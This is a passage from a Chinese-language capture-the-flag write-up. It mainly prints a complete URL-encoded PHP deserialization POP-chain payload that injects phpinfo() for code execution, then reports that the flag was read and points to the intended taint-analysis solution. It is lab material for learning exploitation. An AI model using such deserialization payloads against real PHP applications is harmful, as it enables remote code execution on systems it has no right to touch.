3A%22Iku0LMa%22%3BN%3B%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D

然后构造 payload 即可:

1
/?pop=O%3A6%3A%22KyVPQP%22%3A1%3A%7Bs%3A7%3A%22ul3Sm1U%22%3BO%3A6%3A%22uG5evu%22%3A1%3A%7Bs%3A7%3A%22S7DlwmF%22%3BO%3A6%3A%22OlWw1e%22%3A1%3A%7Bs%3A7%3A%22bRQKnGG%22%3BO%3A6%3A%22fixW0c%22%3A1%3A%7Bs%3A7%3A%22QUIdVVp%22%3BO%3A6%3A%22xoWKHv%22%3A1%3A%7Bs%3A7%3A%22dIGeFZ5%22%3BO%3A6%3A%22qn0ORM%22%3A1%3A%7Bs%3A7%3A%22cmcLV78%22%3BO%3A6%3A%22Q7uLNG%22%3A1%3A%7Bs%3A7%3A%22VCzgXwh%22%3BO%3A6%3A%22H2adHB%22%3A1%3A%7Bs%3A7%3A%22pgSmnl0%22%3BO%3A6%3A%22IAkALV%22%3A1%3A%7Bs%3A7%3A%22bpakDWq%22%3BO%3A6%3A%22nITeZp%22%3A1%3A%7Bs%3A7%3A%22pvG9YnF%22%3BO%3A6%3A%22ok7yId%22%3A1%3A%7Bs%3A7%3A%22bhkQkEy%22%3BO%3A6%3A%22HhAoyW%22%3A1%3A%7Bs%3A7%3A%22HK03Hf9%22%3BO%3A6%3A%22uGDwcf%22%3A1%3A%7Bs%3A7%3A%22hhLUdLY%22%3BO%3A6%3A%22wQdbdg%22%3A1%3A%7Bs%3A7%3A%22by8UC2T%22%3BO%3A6%3A%22u58xg0%22%3A1%3A%7Bs%3A7%3A%22KGk4Fz9%22%3BO%3A6%3A%22qnpWYk%22%3A1%3A%7Bs%3A7%3A%22Ww1DVXu%22%3BO%3A6%3A%22EGk33d%22%3A1%3A%7Bs%3A7%3A%22lNSPHPu%22%3BO%3A6%3A%22XUruMz%22%3A1%3A%7Bs%3A7%3A%22GXvgcvu%22%3BO%3A6%3A%22GKH7uw%22%3A1%3A%7Bs%3A7%3A%22G1CWYox%22%3BO%3A6%3A%22fEIg3r%22%3A1%3A%7Bs%3A7%3A%22yD6cX9v%22%3BO%3A6%3A%22cwhEVX%22%3A1%3A%7Bs%3A7%3A%22DBIrIzV%22%3BO%3A6%3A%22wU47Lm%22%3A1%3A%7Bs%3A7%3A%22PQnyBre%22%3BO%3A6%3A%22vwvFng%22%3A1%3A%7Bs%3A7%3A%22Iku0LMa%22%3BN%3B%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D&argv=phpinfo();//

成功实现代码执行

image-20210722123358793

成功读取flag:

image-20210722123525030

这个题的预期解利用的是抽象语法树+污点分析,看不太懂,详情请看:https://www.anquanke.com/post/id/244153

HardXSS